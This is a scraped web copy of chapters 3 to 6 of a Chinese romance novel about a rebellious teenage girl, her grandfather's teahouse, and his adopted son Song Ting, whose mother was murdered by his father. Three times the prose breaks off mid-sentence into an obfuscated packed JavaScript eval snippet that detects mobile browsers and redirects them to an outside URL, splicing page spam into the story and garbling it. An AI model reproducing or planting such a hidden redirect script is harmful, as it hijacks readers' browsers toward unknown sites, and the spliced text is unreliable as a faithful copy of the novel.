《南城小巷》 3. Chapter 3 南振东走后,当晚,南老爷子将茶馆门一关,拄着拐杖,坐在茶堂前的红木雕花椅上,中气十足地训着南久:“谁叫你把头发剪这么短,你自己看看好看吗?你身上穿的都是什么衣服?” 南久歪歪斜斜地靠着掉漆的柱身,上身T恤短短地吊在肩膀上,一动胳膊就露肚脐,肚脐上还镶了颗钻。下半身的裤子宽宽大大地挂在胯骨上,没松紧没腰带,只有一根抽绳,她也没把抽绳系起来,跟两根猪大肠一样拖着。 南老爷子不懂理发店那些层次、烫染,他只知道南久的头发跟狗啃过一样,不仅不整齐还挡眼睛,越瞧越火大。几年前送走时清清爽爽的丫头,儿子养成这样又给送了回来。 南老爷子气得刚要骂人,茶馆的门被人从外面打开。宋霆一身黑衣黑裤,踏着夜色归来。南老爷子将嘴边的话收了回去,看向宋霆:“谈得怎么样?” “基本没什么问题了,下个礼拜我再去趟山里。” 说完,宋霆发觉茶馆有人,转了视线,朝南久打量而去。她白皙、瘦削,像片薄薄的纸,脸上的稚嫩褪去,看人时眼里尽是满不在乎。 南老爷子皮笑肉不笑对南久道:“你自己瞧瞧,连你宋叔都认不出你了,叫人。” “认得出。”宋霆收回视线,回身锁上门。 南久没出声,打着哈欠。宋霆依旧没跟她计较。 偏房里那张她曾睡了仨月的床还在,床被罩了起来。南老爷子用拐杖指了指她:“还杵着干吗?不睡觉打算贴墙上?屋子自己收拾,你宋叔跑了一天了,别劳烦他,这么大的姑娘了。” “谁不是跑了一天。”南久直起身子,嘀咕了一句,去了偏房。 南老爷子气不打一处来:“这丫头真得好好收拾收拾。” “跟这个年纪的女孩沟通,得费点耐心。”宋霆给南老爷子的杯子里添了热茶,便上楼去了。 等他洗完澡,南久的床还没铺好。把床罩拆卸下来,要挪开床垫,床垫又厚又重,比学校里的单人床难整多了。 宋霆敲了敲敞开的屋门,南久回过头。 “我来吧。” 床垫被宋霆单手托起,他三下五除二卸掉床罩,翻出干净的枕巾和凉席。又打了盆温水进来,反复擦洗。 南久本想上前帮忙,奈何宋霆手脚麻利,她压根插不上手,索性坐在靠墙的小板凳上,撑着下巴干等着。 半干的头发贴在他的颧骨处,冷硬的侧脸平添几分不驯的味道。他弯腰整理床铺时,背肌打开,宽厚有力,后腰向里凹陷,肌肉紧贴着骨骼。先前南久还觉得他比从前瞧着成熟了,洗完澡后,他换了件棉质T恤和灰色运动裤。这样看又和几年前基本没有变化,只不过皮肤晒成了古铜色,瞧着像黑皮体育生。 “你多大?”南久好奇道。 “比你大八岁。”宋霆没回头,弯腰拿起盆出去了。 南久坐在小板凳上算着岁数。宋霆回来时瞥了她一眼,还跟四年前一样,她窝在那张小凳上,唯一不同的是,小丫头长成了大姑娘。 “席子给它吹一会儿,你洗完澡回来就能睡了。”宋霆擦完最后一遍,交代道。 南久从行李箱里翻出衣服去洗澡。南老爷子坐在柜台里面数着单据,见她过来,出声问:“是不是又让你宋叔帮你收拾了?” 宋霆坐在对面的茶桌上盘账。南久当着两人的面睁眼说瞎话:“没有。” 说完,她略带心虚地瞄了眼宋霆。宋霆没戳穿,敲着面前的计算器,眼皮子没抬一下。 南久上楼后,南老爷子说宋霆:“别由着她,该给她吃点苦头。以后她自己的事情让她自己去做,店里有什么活儿你安排她干。” 宋霆嘴角略提,按下归零键。 茶馆洗澡的地方在二楼,这间浴室就宋霆一个人用。老爷子如今年岁大了,不爱爬楼,大多时候就在自个儿屋中擦洗。南久拿着睡衣进来时,宋霆已经将浴室收拾干净。摆放在浴室的剃须刀、男士洗浴用品被他收进自己屋中,浴室地面的水也拖干了。 上回南久来时,年纪还小。夏天浴室闷热得喘不上气,她总会将门留道缝,透点凉气。有次宋霆去阁楼睡觉,路过二楼听见浴室传来歌声,才知道她洗澡不关门。那之后,宋霆会刻意避开她洗澡。南久要是抱着衣服上楼,他就坐在茶堂等她洗好再上去睡觉。 南久洗澡慢,边洗边唱,磨磨蹭蹭,有时候为了看电视拖到最晚洗。宋霆好几次等得打瞌睡。当然,这些南久从前并不知情,她以为宋霆晚上坐在茶堂值夜班。 好在这次回来,她知道锁门了。 帽儿茶馆房顶上的那口大锅没有了,茶馆里装上了有线电视。南久已经对电视不感兴趣了,她更乐意沉浸在网络游戏中。 南老爷子让宋霆给南久安排活儿干,然而回来几天,南久就跟巷子里从前认识的小伙伴接上头,整日泡在外面,不见人影。 南老爷子和宋霆白天都忙,没工夫盯着她,南久总是趁机溜出门。好在玩归玩,南久总能踩着饭点回来。 ...... 宋霆走了,南老爷子跟南久说他去山里了。南久没问哪座山,去那干什么,她对宋霆的事情不感兴趣,也很少跟宋霆说话。一来是南久有亲叔叔,对于这个大她几岁,辈份却大出一辈的干叔叔亲近不起来。二来宋霆对她也没多热情,她自然不会去讨好他。 宋霆一走就走了五天,可把南老爷子忙坏了。南久平时懒散,关键时候到底能当个人用。见老爷子累得直不起腰,南久没再出去疯,起个大早,帮着南老爷子打打下手。这时候,她反倒盼着宋霆能早点回来。他一日不归,她一日没法脱身。 周一下午,客人一般较少。南老爷子见南久一副待不住家的样子,准许她出去玩半天。 南久就像脱缰的野马,一放出去就不知道归家,天都黑了,还没回来。南老爷子拄着拐杖进进出出好几回,探头往巷子口张望,没把南久望回来,倒是望回了宋霆。 宋霆提着两大包茶叶,见南老爷子戳在茶馆门口,加快脚步迎了上去:“店里不忙吧?” “还好,这会儿走得差不多了。小久还没回来。” 宋霆把茶叶放在门内,问道:“什么时候出门的?” 南老爷子脸上堆起皱纹:“吃过中饭就没影儿了。” “我去找找。”宋霆没来得及进门,又再度往巷口大步而去。 ...... 那晚,宋霆让南老爷子在家等消息,他不知道跑了多少个地方,最后是在一家网吧找到了南久。 南久是跟巷子里的李崇光一块儿出来的。李崇光住在叉巷里头,他比南久大两岁,从前跟柳茵是一个班的,小时候一起在柳茵家打过游戏机。李崇光认识附近一群不学无术的青年,领着无处可去的南久跟他们一起来网吧组团打游戏。 宋霆找到那的时候,一个瘦得跟排骨似的小青年正探过身子,拿着南久面前的鼠标,一副贼眉鼠眼的样子。宋霆的身影压在那人身后,拎着小青年的领子,将人提回一旁的椅子上。那人回头刚要骂人,看清来人后突然改口:“宋哥。” 网吧里有人认出宋霆,扯着嗓子问他:“哟,什么时候回来的?” 宋霆充耳不闻,低头对南久说:“回家。” 南久回头见是宋霆,愣神两秒,敷衍道:“你先回,我玩完这把。” 宋霆没走,拽了把椅子坐在几步开外的地方。他个子高、身形魁岸,进山回来,衣服没来得及换,穿的不是平时清爽的休闲衣,一条棕色皮带束住黑色半袖,磨损的裤角卷起后堆在靴口。电脑屏幕上幽蓝的光爬过他凹深的眼窝和直挺的鼻梁上,更添几分凌厉和压迫感。 虽说他没出声催促,但往那一坐,嬉笑怒骂的小伙伴一个都不吱声了。不仅不吱声,个个正襟危坐。打团战讲究配合,不沟通也就没气氛,玩起来自然没劲儿。 南久察觉出气氛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171164|180672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不对,侧了下身子,问李崇光:“你们怕他干吗?他不是我家人,管不了我。” “不是这个......”李崇光面露难色,犹犹豫豫地说,“你爷爷跟你说过他的事吗?” “什么事?” 李崇光瞄了眼宋霆。宋霆目光微侧,冷睨向他。李崇光话锋一转:“没事,当我没说。” 南久不大痛快地将鼠标重重拍在桌子上,回过头嘴角轻撇:“我认得回去的路,你能不能别待在这?” “这把结束了。”宋霆提醒道,微扬的眼角自带锐气,即便没有任何表情,说出的话仍然有着不容忽视的分量。 偏偏他警告的对象是个正处在叛逆期的少女。南久可不吃他这一套,逆反心理上来,他越是管束,她越是对着干。南久重新拿起鼠标,进入下一轮。跟她组团的小青年们还在东张西望,不知道该不该开局。 南久眼神横扫过去:“开啊!都愣着干吗?” 小青年们回头望了望宋霆,见他没发话,陆续收回视线,进入下一局。 南久透过反光的屏幕,对着宋霆斜了斜嘴角,眼里闪过一抹挑衅。 网吧庄老板从后面房间出来,知道宋霆不抽烟,拿出自己喝的好茶叶,给宋霆泡了杯茶端过来。 “好一阵子没见到你了,最近忙啊?” 宋霆抬手接过茶:“老样子。” “今天过来是......”庄老板客客气气地询问道。 宋霆朝南久坐着的方向抬了抬下巴:“南老的孙女。”他低头抿了口茶,不轻不重敲打道,“未成年。” 庄老板脸色发青,立马保证:“绝对没有下一次。” 庄老板跑去跟网管交流了两句,南久那一排的电脑瞬间全部断网。小青年们在网络世界里跟对手杀得正起劲,突然被强制退出,个个火冒三丈,站起身口吐芬芳,砸着键盘讨要说法。 网吧里一时间乱成一锅粥,庄老板走过来问这群青年要身份证,小青年们哑了火。南久将目光锁在宋霆身上。他气定神闲地坐在那儿,喝着茶。 南久不仅游戏被搅了局,还在刚认识的同伴跟前颜面尽失。她火气冲冲走向宋霆,质问他:“你让老板断我们网的?我爸都管不了我,你凭什么管我?我爷爷叫你一声干儿子你还真以为自己是我叔叔了?” 南久这一嗓子下去,原本乱哄哄的网吧登时鸦雀无声。她正在气头上,压根没发现原本站在自己身边的小青年都在默默后退,忌惮地盯着宋霆。周边其他看热闹的客人也将视线转到宋霆身上。气氛逐渐变得怪异而紧张,宋霆却置若罔闻,低头将杯中茶饮尽。 南久瞧他没反应,自己的拳头犹如砸在棉花上,更气了。 “我还就不跟你回去了,你能拿我怎么办?” 宋霆用行动告诉她该怎么办。他放下茶杯,箍住南久手腕往外走。南久身体里那股倔犟劲儿上来,甩着胳膊,使出全力挣扎,却被宋霆的力道轻易碾压。暴脾气和叛逆心理同时点着,南久对着宋霆又掐又扣,像只狂怒的小狮子。宋霆冷着脸,额头青筋暴出,被个才到他胸前的丫头撒泼,谁也不好上前。 庄老板见此情形,捏了把冷汗。就怕这丫头再闹下去,宋霆给她个过肩摔。前几年帽儿茶馆有人闹事,他亲眼见过宋霆出手制服几人,那一身的腱子肉,出起拳头大老爷们都顶不住。 跟南久一起打游戏的小年轻此时没人敢拦着,只有李崇光还算讲义气,跑到网吧门口,劝宋霆:“有话好好说,别这么凶嘛。” 宋霆觑着他,冷声问:“我凶了吗?” “没,没有。” “到一边去。” “哦,好。” 南久看着李崇光退到一旁的身影,白眼翻上了天。 网管凑到庄老板身侧,盯着走出网吧的身影:“那姑娘谁啊?这么泼辣?” 庄老板意味深长地眯起眼:“除了南老的人,谁敢在老虎背上拔毛?” 4. Chapter 4 宋霆将南久扔在马路牙子上任她闹。刚才那一番拖拽,南久发型和衣服都乱了,丢脸至极。她双手刚解脱桎梏,立即握起拳头,张牙舞爪扑了上去:“你不就是在我爷爷茶馆做事吗?凭什么插手我的事?” “我怎么插手你的事了?”宋霆居高临下看着她,额头青筋已然褪去,神色恢复平静。 “那年,要不是你撺掇着我爷爷把我送回去,我至于像个垃圾一样被他们扔来扔去吗?我本来可以留在这的,我爷爷都在打听转学的事了。 “你知道我回去要面对什么?你问过我乐不乐意回去吗?你们所有人都把我当累赘,踢来踢去。 “我从我妈家出来几天,他们报警了吗?有人出来找我?他们巴不得我在路上被人贩子拐跑。真可惜,遇上了你,你不是人贩子,但你跟人贩子也没两样。是你让我爷爷改变主意把我送走的。 “既然不乐意我过来,干吗还出来找我?我回不回去关你屁事,我亲叔叔都没过问,你算是哪门子叔叔?真把自己当回事儿了......” 有些话一旦说出口,就像洪水开了闸。南久不是没有委屈、愤恨。只是年纪尚小,没有与命运抗争的筹码。那年离家出走,她拿出全部勇气孤注一掷,去改变自己的处境,也不过拼来三个月的消停日子,就又被送了回去。 她没有与旁人说过这些心里话,就连爷爷也没有。她早已习惯在冷落和轻视中筑起围墙,将自己包裹在漠视的外衣下。然而今天,围墙被宋霆撬开一角,她讨厌这个多管闲事的男人,在他面前,她尝到了无计可施的滋味,只能一味地用难听的语言攻击他。 宋霆并没有因为她对自己的态度而动怒,甚至没有出声制止她。街道上不时有路人闻声瞧来,每当这时,南久的声音就会小些,大概还是要面子。宋霆索性转过身,将南久挡在街道里面,让她没有后顾之忧地骂个痛快。 吵架这回事,得有来有回,宋霆不跟她吵,光她一个人叭叭讲个不停,很快便蔫巴了。南久舔了舔嘴唇,突如其来的安静让她脸上闪过一丝无所适从。 宋霆见她骂完了,出声问道:“饿不饿?” “......嗯?”南久还没从怨气中抽离出来,脑袋宕机了两秒,不经思考回他,“有点。” “走吧,吃东西去。” 宋霆转身在前面带路,顺手拿出电话打给南老爷子,告诉他找到南久了,带她吃个夜宵就回去。 南久落后两步,望着宋霆若无其事的背影,对于他如此稳定的情绪感到不可思议。她话说得已经够难听了,他脸上不仅没有怒气,更没有把自己摆在长辈的位置教训她,竟然还要带她去吃东西。南久忽然觉得宋霆这人......有些奇特。 两人之间的氛围略显尴尬,或者说只有南久感觉到尴尬,宋霆倒是神情自若。 他跟南老爷子通完电话,快要拐出巷子时,忽而开了口:“那年,我开车是出去找你的。” 他走出巷子,跟排挡老板招了下手,过去拿菜单。南久愣在巷子口,心底悄然裂开一道豁口,各种情绪渗进去,五味杂陈。 宋霆回头招呼南久过去坐。南久别别扭扭地挪到桌子跟前,那股子尴尬的氛围变得更加浓烈,不是拳头打在棉花上,而是根本没有那团棉花,她像傻子,打了记空拳。 大火炒出锅气后,南久瞧着一盘盘端上来的硬菜,对宋霆说:“你怎么点这么多?我在网吧吃过了。” 宋霆掀了眼皮,掠着她:“我没吃。” “......”南久乖乖闭麦。 嘴上说着吃过的南久,拿起筷子后,吃的不比宋霆少。吃饭时,她的眼神无意间瞟到宋霆的胳膊,几道明显的指甲印,渗出了血痕。让她拉下脸道歉是不可能的,她索性端着碗将身子侧到另一边,装作没看见。 宋霆见她不吭声,挑起话头:“听说你早恋了?” “多稀奇?”南久转过视线,“你没早恋过?” “没有。”宋霆抬手让老板上碗饭。 “说给鬼听,那你上学都干吗?好好学习,天天向上?你瞧着不像好学生。” 宋霆低头夹菜,笑而不语。 “谁跟你讲我早恋的?我爷爷?他知道什么,还不是我爸跟他讲的。别人说什么我爸都信,就是从来不问我有没有,总是这样。” 老板刚把一碗饭端上桌,南久顺手接过,愤世嫉俗地将大米饭扒拉进嘴里。宋霆只有让老板再上一碗。 “你现在这个年龄,考虑这些没有未来的事,不如想想以后的出路。” “搞笑,谁说一定要有未来?我这个年龄的人,不都是玩玩。谈个对象就必须结婚生娃?那不是亏大了?” 宋霆对南久这番任意而为的生活态度没有发表任何言论,他转而问道:“你这几年住在你爸家?” “托你的福,这些年我都是住校。” 南久回完这句就没再说话了,她低头将米饭大口塞进嘴里,用力咀嚼。室友们每天盼着周五回家,她没有盼头,一直没有盼头。跟她同宿舍的几个姑娘,衣服都是周五带回家洗。只有她,冬天零下七度,站在灌满冷风的走廊,搓着脏衣服,手像被冰碴儿扎穿,冻到没有知觉。 她不会跟人说这些,没有人问过,也没有人会在意。亦如此时此刻,她只是将这些不太美好的记忆连通米饭一起嚼烂,咽进肚子里。 回到茶馆,茶堂依然亮着灯,南老爷子坐在茶桌前,把玩着新收的茶宠。宋霆回来后,径直去收拾茶叶了。南久鬼鬼祟祟地贴着门,试图溜回房。 “过来。”南老爷子将茶宠磕在茶盘上,沉着声道。 南老爷子这辈子混迹于三教九流,活到这把岁数,身上多少带着江湖匪气。虽然老爷子很少凶南久,但他一旦拉下脸来,南久不敢忤逆。 她垂着脑袋走到南老爷子跟前。老爷子用拐杖戳了戳地:“明天开始,设立门禁,晚上不许出门。” 南久嘴皮子没动,声音咕哝地关在喉咙里。 南老爷子提高嗓门:“要说什么就张开嘴巴大声说,少在背地里骂我。” “我没骂你,我是说不出去也行,你给我买台电脑。” 南老爷子冲她横眉瞪眼:“想买找你爸去,你还不如做梦来得快。” 宋霆扛着茶叶往茶柜里头走,南老爷子眼珠子一转,瞥见宋霆胳膊上那一道道血痕,气得抄起拐杖就甩在南久小腿上。 南老爷子经常拿拐杖吓唬南久,但没有一次用过力道,这次是真把南久打疼了。她惨叫一声,扶着桌脚,单腿站立,瞪着眼:“你打我干吗?” “你说我打你干吗?你宋叔从山上回来,一口水没喝上嘴就跑出去找你,你干什么了?” “他喝上了,网吧老板给他喝的。”南久声音越说越小。 南老爷子见她顶嘴,撑着拐杖站起身,头发气得竖了起来,举起拐杖还想给她来一下。宋霆不知什么时候折返回来,弯下腰收拾茶盘上散落的茶宠,身影恰好挡在南老爷子和南久中间。 南久瑟缩在桌角。宋霆歪了下脖子,用眼神示意她回房。南久赶忙转身,一瘸一拐跑回了屋子。 南老爷子一屁股坐回去,拐杖重重戳在地上:“你袒护她也没用,她不念你一句好。” 宋霆重新低下头,拿起茶宠:“她还小。” 南久扒着门听了半晌,直到南老爷子回了房,她才拿起衣服上楼洗澡。 南老爷子敞着屋门,听见南久洗完澡下楼的脚步声,声音从屋门里传了出来:“腿还疼吗?” 南久脚步顿了下,嗓音里带着气:“疼死了,瘸了。” “瘸了好,不乱跑。” “咚咚咚”,南 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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然而上有政策,下有对策。南久在消停两天过后,又开始往外跑了。李崇光忌惮宋霆,柳茵可不知道这些事情,她反倒乐意南久来找她玩儿。 南久见柳茵化着妆、穿着高跟鞋,羡慕道:“大学就是好,头发可以随便染,我计划高中一毕业就把头发染成紫色。” 柳茵却道:“我读的是五年制大专,都毕业了。” 南久没再说话,她以为柳茵还在读大学,未承想她都工作了。 柳茵见她没接话,便道:“我中考考得算好的,我们班大多数人都去了技校,早进厂打工了。我现在这份收银的工作,多少同学都羡慕不来的。” 柳茵打开电脑上的软件,播放起偶像剧。南久眼神盯着屏幕,心不在焉。她中考时,成绩在班上中不溜儿,就这样,她还是考上了一所不算差的高中。当年要是留下来,多半是转到柳茵她们学校借读,能不能考上高中得打个问号。她怨了爷爷几年,连同对宋霆都怀恨在心。却不知,他们给了她关于未来更多的选择权。 柳茵如今在旁边老街的商场里做收银,收银这工作得两班倒。南久只有在她上早班那天,才能找她玩儿。她们早已不玩游戏机,通常窝在柳茵房间里追剧看综艺。 每回南久去找柳茵,柳茵都会问她宋霆在不在店里。问的次数多了,南久不免察觉到一些异样。 晚上吃饭的时候,南老爷子嘱咐南久:“明天茶馆来人,你穿周整点,少说话。” 南久听笑了:“茶馆哪天不来人?我穿得怎么不周整了?” 南老爷子语重心长道:“吴桂英给你宋叔介绍了个姑娘,明天人家过来跟他见面。你宋叔家里没人,我们不能给他丢份儿。” 南久将嘴里的肉咽进肚,抬头问道:“他家人呢?” “不该你问的别问。那件短一截的上衣拿远点,明天别穿,露个肚脐像什么样?” 南久咧开嘴,笑说:“我这小蛮腰不露出来,不是白瞎了我这么好的身材?” 南老爷子拿眼瞪她,又夹了块红烧肉放她碗里。 5.Chapter 5 第二天一早,柳茵就将南久叫到了隔壁。柳茵的收银台边上就是化妆品柜台,她跟柜姐相熟,经常能拿到小样。柳茵把一包大牌小样送给南久,说是新品,拿给她回去试试。南久不怎么化妆,翻着包里的小样问柳茵怎么用。 柳茵索性让南久坐下来,她帮南久化个妆,顺便教她用。南久坐在梳妆台前,昂着头,任由柳茵捣鼓。 化妆期间,柳茵有意无意向南久打听宋霆今天相亲的事。南久瞧着镜子中柳茵扭捏的表情,眼里闪过一丝蠢蠢欲动的兴味:“你想搞黄他的相亲吗?” 柳茵脸色一白,抬起头对上南久的目光,脸颊逐渐泛红,又迅速低下头。 这还是南久第一次正儿八经化全妆,高中管得严,化妆品不给带进学校,同学间顶多偷偷涂个唇釉。南久生了双窄眼皮柳叶眼,脸型不属于主流审美,甚至越长越有种厌世的味道。然而这样的五官却在上完妆后,仿若变了个人。立体的五官经过修饰,带有攻击性的容貌瞬间被勾勒出来。 柳茵望着她初具雏形的美艳轮廓,打趣道:“你们学校是不是不少男生追你?” 南久拢了拢短发:“那是当然。”她提起柳茵给的化妆品,对她挤挤眼,“不会白拿你东西,等我好消息。” 宋霆正和他的相亲对象坐在靠窗的茶桌,女人背对着门口,宋霆坐在女人对面低头泡茶。 南久在南老爷子的督促下,今天终于换下她那条松松垮垮的裤子,难得穿了条连衣裙。她摇曳着身姿出现在茶馆门口时,不少茶客向她投去目光。 宋霆撩起眼皮朝门口瞧去,他的视线在她脸上停留了一秒,或许更短,短到无人察觉这片刻的凝滞。悬窗半推,落下一圈光晕,他靠坐在光晕之外,浮动的光影在他的白色翻领衫上悠悠荡荡。 南久朝宋霆扬起甜甜的笑意,迈开步子向他走去。她的身影走入光影内,嗓音挤得柔和无邪:“叔叔。” 宋霆眼神微眯,将她脸上每个细微的波动收入眼底。 南久顺势坐在他边上,看向对面的女人:“这位就是我新婶婶吗?” 南久态度热切,笑得一脸无害。对面的女人注意到了那个“新”字,脸色有了微不可察的变化。女人穿着朴素,瞧着不算年轻,扁平的轮廓架着副细框眼镜,身上带着股严肃感。 宋霆自然听出了南久话中刻意而为之的意思,他并未出声澄清,只道:“别瞎喊人,她叫周妍。” 周妍尽管心生疑虑,面上仍然保持着较好的修养,礼貌问道:“她是你侄女?长得真好,像你。” 宋霆回她:“小久是南老孙女。” 周妍恍然。南久坐在他们这桌,像个大号电灯泡。她算是瞧出来了,周妍八成相中宋霆了,不仅觉得宋霆长得好,说话时眼神也总是带笑,人的眼睛不会骗人。 不过周妍和柳茵,南久肯定毫不犹豫站在柳茵那边。一来柳茵是她朋友,她们打小就认识,交情摆在那儿。二来柳茵长得比周妍漂亮,跟宋霆更般配。抛开这些不说,宋霆害得她被南老爷子打,腿疼了好几天。现在弄得她整日无处可去,这些事儿她都记着呢。好不容易逮着机会让他吃瘪,南久当然不会放过。 南老爷子见南久如此没有眼力见儿,使劲朝她招手,喊她过去。南久假装没看见,继续添把火儿。 她趁着两人聊天的空档,托着腮一个劲地夸周妍:“原来你是数学老师啊,我从小就觉得数学好的人脑子也特别好使,我叔叔要是娶了你,那不得生个学霸出来。”说完,她脑袋歪向宋霆,瘪瘪嘴,“不像之前那个婶婶,我问她题,她都看不懂。” 南老爷子走到跟前,本想叫走南久,听见她说的漂亮话,想着宋霆跟周妍第一次见面,难免拘束,南久还算懂事,知道调节气氛。于是乎,南老爷子脚步一转,招呼隔壁桌,转头就听见南久后面那句话,差点气出高血压。 他当即转身,狠狠拧了把南久的耳朵:“你过来。” 南久磨磨蹭蹭地跟南老爷子回了房。房门一关,南老爷子举着拐杖指向她:“你说的都是什么胡话,我跟吴桂英说的是你宋叔之前没处过对象,你瞎搅和什么?” 南久见爷爷真生气了,凑上前,顺着他的背:“要是不成后面再介绍嘛,那个周妍瞧着比宋霆大不少,你们干吗不给他介绍个年轻点的?” “说得好听,要有年轻的我不知道替他张罗?就是因为人家周妍岁数大了,家里着急才答应跟你宋叔见面。她要是因为你刚才那句话,没瞧上你宋叔,我到哪儿再给他找?” 南久瞄了眼爷爷,张了张嘴,又合上了。憋了老半天,她到底还是没能憋得住,探头探脑地压低声音:“我觉得......隔壁柳茵姐就挺好,她好像对宋霆有那个意思。” 南老爷子斥南久口无遮拦:“以后不许再说这话,不管柳茵什么想法,她爹妈都不会允许的。” “为什么?宋霆哪里差了?要个头有个头,要长相有长相,勤快能吃苦,怎么就不允许了?” 南老爷子倒是头一次听南久站在宋霆这一头说话。他摇摇头,喟叹道:“你想得太简单,现在外头姑娘找对象,要有房有车,还要父母健全,得有正经工作,有退休金,能帮着带孩子。你宋叔有什么?” 南久哑了声。她这个年纪哪会考虑那么多,不过想着宋霆和周妍不合适,还可以跟柳茵在一起。 南久虽然闯了祸,倒也没打算逃避,试探道:“要么......我出去解释一下?” 南老爷子没好气道:“你在屋里待着,别再给我出去添乱。” 南老爷子交代完就要走,南久忙问:“那他们那边怎么办?” “你宋叔自己没嘴?”南老爷子丢下这句话便去忙了。 南老爷子刚走,多日未见的李崇光拎着个超市袋子,从南久房间的窗户跟前路过。南久立马推开窗户叫他:“李崇光,失踪人口总算露面了?” 李崇光站在巷子里回过头来,谨慎地往茶馆里瞄了眼:“我爸不在吧?” “不在。” 得到回答后,李崇光又贼头贼脑地往茶馆里瞄。南久告诉他:“宋霆这会儿忙着相亲呢,顾不上我,你等着。” 她打开屋门溜了出去,跟李崇光走到夹巷阴凉地儿。李崇光从塑料袋里拿出一袋薯片给她。南久没接,扯过袋子拽了包辣条,问李崇光:“你这阵子干吗去了?” 李崇光有苦难言,说是给他爸禁足了。那天他爸去帽儿茶馆喝茶,不知怎的,回去后将他臭骂一顿,不许他出门。 南久冷笑道:“宋霆真是有本事,怎么说动你爸的?” “他动动嘴皮子,这些老家伙都卖他面子。” “凭什么?” 南久这些天也发现了,来喝茶的人,哪怕是上了年岁的老人家待宋霆都客客气气的。按理说,他一个二十几岁的年轻人,虽然比南久大不少,到底还是小辈,不至于跟那些长辈同坐。 李崇光道出缘由:“你们家茶馆跟情报中心似的,你爷爷是幕后大佬,宋哥就是情报中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16175424|180672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心头目,手上攥着各路人脉。哪家小孩上不了公立幼儿园,哪个老太挂不到专家号,哪个年轻人工作想调岗都会去你家茶馆找找路子。宋哥认识的人杂,没少干牵线搭桥的事,一来二去,欠他人情的人多,他说话,别人不就得给他几分面子。” 南久似乎明白过来,嚼着辣条,说道:“我知道,我爷爷常挂在嘴边的人情世故嘛。原来那天在网吧你们一个个怂成那样,是怕宋霆找你们爹妈告状?” “......那倒不是。”李崇光为那天的袖手旁观,略感窘迫,“他狠起来对他亲爹抡拳头都下死手,你说谁没事找事?” 南久侧过目光,骇然道:“真的假的?我看他脾气挺好的。” “他以前脾气可不好,那么多人找他麻烦,他要脾气好早被打死了。” “你上次说他的事,到底是什么事?” “你怎么不回去问你爷爷?” “废话,我爷爷要肯说,我用得着问你?”南久话音刚落,想起什么,又道,“我爷爷提过他家没人。” “是没人,都死光了。” 南久拿着辣条的手顿住:“怎么死的?” 李崇光左右看看,压低声音:“他家原来是住在坡子上面的那间红房子,你见过吗?” “没有。” “他爸是水泥厂工人,隔三差五对他妈拳打脚踢。宋哥护她妈,他爸就连宋哥一起打。我小时候在巷子里头碰见他,经常见他身上青一块紫一块。” “没人管吗?” “谁管?都是家务事,闹到派出所,警察还不是调解完送回家。她妈娘家不在这边,外面嫁过来的,被打了也没地方去,只能凑合着过。别看他家里一堆破事,他成绩可没落下,中考的时候,考上市一中,他妈还跑来我家送过红鸡蛋。 “要我说,他考上一中是好事也是坏事。一中离家远,他一个礼拜回来一次。他在家,他爸还收敛点。他去外面读书,他爸酒一喝,更不是东西。他妈几句话说得不中听,他爸就搬桌子砸凳子往他妈身上招呼。 “宋哥知道他爸那德行,偶尔周中会回来。有次回家她妈不在家,他爸跟他说,他妈上外头走亲戚去了。宋哥不信他爸的话,据说在他家屋后头的土坡下面挖出她妈的尸体,我听人说他妈身上血肉模糊,断胳膊断腿。 “他爸说是都给他下跪了,就差喊他爹。宋哥没心软,要报警,他爸拿菜刀砍他。两人从家里闹到巷子里,在你家茶馆前面一点的位置,宋哥把他爸按在地上打,边打边哭,住在周围的人都听见动静了,惨得很。他爸被打服后,宋哥拖着他,亲手将他爸送进派出所,回来后再给他妈收尸。他妈当时那个惨状,没人敢去帮忙。” “我的天!”南久声音干涩,拿着辣条的手一松,辣条掉在地上,几只蚂蚁围了过来。 “别说天了,他家那情况叫地都不灵。他爸是进去了,外面欠了一屁股债,债主怕他爸毙了后要不到钱,说父债子偿,天天跑到学校门口蹲他,要么堵在巷子口不给他上学,我都碰见过两回。整天这么闹,他书都没法读下去,好不容易才把房子处理掉将烂债清干净,他爸也被行刑了......” 再后来,南老爷子顶着流言蜚语,不顾街坊四邻的劝阻,收留了无家可归的他。从此,宋霆便留在南老爷子身边,一晃多年。 蚂蚁越聚越多,将辣条拖走。石砖上密密麻麻的小身影,转瞬之间无影无踪。斜阳沿着房檐在石砖上拼凑成不规则的形状,将残存的痕迹也掩盖了。 6.Chapter 6 与周妍的这场相亲,宋霆表现得礼貌周到,替周妍倒茶,招呼她吃茶点,却并未对南久的胡说八道向周妍作出任何解释。两人没聊一会儿,便匆匆结束了这次会面。 南久心神不宁地从外头走进来。南老爷子在柜台里忙着,抬头瞥了她一眼。 稍晚些的时候,南老爷子将手头的事忙清,敲了敲屋门。南久躺在床上,电视没开,睁着眼望着天花板发呆。 南老爷子走进屋,往竹凳上一坐,双手搭在拐杖把手上,问她:“魂丢了?” 南久回过神来,看向爷爷,一骨碌从床上弹坐起来,跑去房门口,伸头往外瞧了眼,顺手把门带上,回过身绷着脸,声音发紧:“宋霆他爸把他妈杀死了?” 南老爷子神色一怔:“你听哪个说的?” 